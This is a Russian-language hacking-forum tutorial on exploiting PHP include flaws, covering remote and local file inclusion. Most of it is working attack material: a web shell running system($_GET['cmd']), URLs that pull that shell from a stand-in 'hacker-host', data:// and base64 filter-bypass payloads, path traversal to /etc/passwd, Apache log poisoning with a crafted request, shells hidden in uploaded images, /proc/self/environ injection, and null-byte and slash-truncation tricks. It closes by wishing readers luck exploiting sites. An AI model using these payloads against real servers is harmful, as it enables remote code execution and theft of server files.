Jump to content
Лента
  • Добро пожаловать на :::XakepInter.Net - Исследование Безопасности и Уязвимостей в Сети:::.
  • Возможнасти
  • Чтобы увидеть ссылки и все функции форума рекомендуем зарегистрироваться.Приятного общения!.
Sign in to follow this  
Der X

Проведение PHP Include(Injection)

Recommended Posts

Здравствуй уважаемый читатель. В данной статье я хотел бы рассказать про уязвимость типа PHP Include (PHP Injection).
Итак приступим.
Для начала я расскажу что такое PHP Injection, как выявить наличие данной уязвимости на сайте. 
PHP Injection - возможность внедрить и выполнить произвольный PHP код на странице. Как известно в PHP имеется ряд функций , который позволяет выполять системные команды. Например:

Код: 
<?php
echo system("dir");
?>

Выведет директории текущего каталога. Если нам удастся внедрить данный PHP код на страницу , то мы сможем выполнять произвольные команды на всей системе. Данная уязвимость возникает в функиях include(),include_once(),requare(),requare_once(). Данные функции позволяют подключать файл на страницу.Давайте рассмотрим пример (файл file2.php):

Код:
<?php
include("file.php");
echo "<br>This page";
?>

А в файле file.php запишем:

Код: 
<?php
echo "HELLO";
?>

Для файла file2.php интерпретатор PHP будет иметь:

Код:
<?php
echo "HELLO";
echo "<br>This page";
?>

т.е. вместо include имеем код, находящийся в в файле file.php. Здесь пути определены жестко, но если мы имеем такой код:

Код: 
<?php
$page = $_GET['page'];
include ($page);
?>

т.е. путь получается методом GET. Например:

Код: 
localhost/evil.php?str=news.php

Здесь выводится страница с новостями. А если мы передадим что то типа:

Код: 
localhost/evil.php?str=vasia_rules

то получим ошибку вида т.к. такой страницы нету

Код: 
Warning include() .....
или
Warning requare() (Если для подключения файла использовалась функция requare() ).

Это явно свидетельствует о наличии PHP Injection. Все что нам остается это внедрить наш PHP код на страницу.
PHP Injection делится на локальный и удаленный. Для начала рассмотрим удаленный инклуд, а затем локальный.
 

Удаленный PHP Include(RFI)

Данный вид PHP Injection работает при условии что на сервере опция allow_url_include = On т.е. имеется возможность удаленно подключать файлы. 
Итак наш дырявый код:

Код: 
<?php
$page = $_GET['page'];
include($page);
?>

Если мы передадим строку вида:

Код: 
localhost/evil.php?str=http://hacker-host/cmd.php?cmd=ls

то увидим результат выполнения команды ls. Файл cmd.php:

Код: 
<?php
echo system($_GET["cmd"]);
?>

Сразу скажу, инклудить можно не только *.php файлы , а любые файлы, содержащие PHP код. 
Некоторые админы ставят расширение файла в функцию include().Например:

Код: 
<?php
$page = $_GET['page'];
include($page.".gif");
?>

т. е. к нашему файлу добавляется расширение ".gif". Тогда файл cmd.php не получится проинклудить т.к. к нему приписывается расширение ".gif". К нам на помощь приходит NULL байт (%00). Он означает переход строки. Тогда если мы передадим такой URL:

Код: 
localhost/evil.php?str=http://hacker-host/cmd.php?cmd=ls%00

,то команда ls успешно выполнится. Переменная str = _http://hacker-host/cmd.php?cmd=ls[NULL].gif что для интерпретатора PHP означает str = _http://hacker-host/cmd.php?cmd=ls.
Теперь давайте рассмотрим следующий PHP код:

Код: 
<?php
 $page= $_GET['page'];
 $page = str_replace(array('http://','ftp://','/','.'), '', $page);
 include($page);
?>

Здесь имеется фильтр, который удаляет из переменной page конструкции типа http://, ftp://,/,. и только потом идет инклуд. Для обхода данного фильтра можно воспользоваться протоколом DATA. 
Протокол DATA позволяет включать небольшие элементы данных в строку URL, как если бы они были ссылкой на внешний ресурс. Отсюда следует, что если мы передадим строку вида:

Код: 
page=data:,<?php system($_GET[cmd]); ?>&cmd=ls;

То мы успешно выполним команду ls. Следует отметить что протокол DATA поддерживает base64 кодирование. Если фильтр более жесткий , то мы можем передать строку вида:

Код: 
page=data:;base64, PD9waHAgZXZhbCgkX1JFUVVFU1RbY21kXSk7ID8%2b&cmd=phpinfo();

Следует также отметить что использовать данный способ можно только если на сервере стоит PHP >= 5.2.0 .

Локальный PHP Include(LFI)

Теперь давайте рассмотрим локальный PHP include. Он возникает когда в функции include() явно задан путь, причем задан перед подключаемым файлом. Например:

Код: 
<?php
$page = $_GET['page'];
inlcude("/files/".$page);
?>

Также он возникает когда на сервере опция allow_url_include = Off. 
Казалось бы что мы можем сделать при таком раскладе. На самом деле все не так уж плохо. С помощью LFI мы можем также выполнять команды на сервере , но уже при определеных условиях. Ну или ходить по директориям сервера. Например:

Код: 
localhost/evil.php?str=../../../etc/passwd

покажет нам содержимое файла passwd.
../ - значит поднимаемся на каталог выше
./ - значит текущий каталог.
Т.к. мы не знаем где лежит файл passwd то просто перебираем пути пока не увидим его содержимое. Например:

Код: 
localhost/evil.php?str=../etc/passwd - ошибка
localhost/evil.php?str=../../etc/passwd  - ошибка
localhost/evil.php?str=../../../etc/passwd  - выводит содержимое файла passwd

Теперь о том как выполять команды. Первый способ, который я хотел бы рассмотреть это логи Apache. 
Условия выполнения кода:
1) На сервере присутствует LFI;
2) Мы знаем пути к логам Apache;
Суть метода следующая. Т.к. сервер ведет логи, в которые он записывает обращения пользователя в том числе и User-Agent пользователя, то подменив строку User-Agent на PHP код а затем проиклудив через LFI мы получим выполнение произвольного кода на системе.Также можно попробовать заменить строку запроса. Давайте рассмотрим пример. У нас имеется LFI:

Код: 
localhost/evil.php?page=../../../../../etc/passwd

И мы таке знаем пути к логам:

Код: 
localhost/evil.php?page=../../../access.log
localhost/evil.php?page=../../../error.log

Все что нам остается это подменить или User-Agent или строку запроса. Давайте подменим строку запроса:

Код: 
GET /<?php echo system($_GET[cmd]); ?> HTTP/1.1
User-Agent: Opera
Host: localhost
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Теперь идем в программу InetCrack ну или любую другую, которая позволяет отправлять HTTP пакеты на сервер, вставляем пакет и отправляем его на сервер.
В результате мы получим следующее:

Код: 
127.0.0.1 - - [11/Aug/2012:13:38:41 +0400] "GET /<?php echo system($_GET[cmd]); ?> HTTP/1.1" 403 206 - строка из access.log
[Sun Aug 11 13:38:41 2012] [error] [client 127.0.0.1] (20024)The given path is misformatted or contained invalid characters: Cannot map GET /<?php echo system($_GET[cmd]); ?> HTTP/1.1 to file - строка из error.log

Как видите мы записали наш PHP код в логи сервера.Предупреждаю код надо писать без ошибок т.к. второй раз мы уже уже не сможем его выполнить.
Все теперь инклудим логи сервера:

Код: 
localhost/evil.php?page=../../../access.log&cmd=ls
или
localhost/evil.php?page=../../../error.log&cmd=ls

Второй способ:
Через Upload форму.
Условия:
1) На сайте должен быть LFI;
2) На сайте должна быть Upload форма картинок или еще чего-нибудь;
3) При загрузке должна отсутствовать или быть слабой фильтрация на содержимое картинки.
В таком случае мы можем загрузить картинку на сервер с кодом нашего шелла, затем перейти с помощью LFI в директорию нашей картинки и проиклудить ее.
Например:
На сервер gallery мы можем загружать картинки фомата gif,jpg. На сайте также имеется LFI. Картинки грузятся в директорию /images/. Тогда берем PHP код, сохраняем его с расширением .gif или .jpg, грузим на сайт и инклудим нашу картинку.

Код: 
gallery/evil.php?page=../../images/code.gif?cmd=ls

Третий способ:
Через /proc/self/environ. Данный раздел хранит переменные окружения.Когда мы грузим страницу то на UNIX системах создается новый процесс , который имеет свою запись в proc. Данный метод практически ничем не отличается от метода через логи. Мы также подменяем User-Agent на свой код и затем выполняем его.

Код:
localhost/evil.php?str=../../../proc/self/environ&cmd=ls

Единственный минус в том, что любой другой только что запущенный процесс может сменить наш PHP код.
Здесь описаны не все способы как LFI так и RFI. Подробнее можете поискать в интернете. Напоследок хотелось бы отметить несколько полезных штук.
1)Замена %00 при LFI;
Представим что на сервере включены магические кавычки. Тогда %00 будет резаться и мы не сможем отбросить ненужное нам расширение.Например:

Код: 
<?php
//Код
include("/fies/".$name.".gif");
?>

В этом случае мы можем проинклудить таким образом:

Код: 
localhost/evil.php?name=../etc/passwd///////[4096 слешей]/////////

Все дело в том что PHP обрезает лишние символы / и /. если мы привысим MAXLEN допустимую длину, а вместе с ними и ненужное нам расширение. На разных платформах количество слешей может быть разным.
2) Замена %00 при RFI;
Если мы имеем дело с RFI то отбросить лишнее нам расширение мы можем с помощью символа "?". Согласно HTTP протоколу все что идет за символом "?" - есть параметры, передаваемые скрипту.
Ну все. Могу лишь пожелать удачи при поиске и раскрутке PHP Injection.

Права на данный материал принадлежат InkhorN. При частичном или полном копировании ссылка на источник обязательна.

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

×
Вверх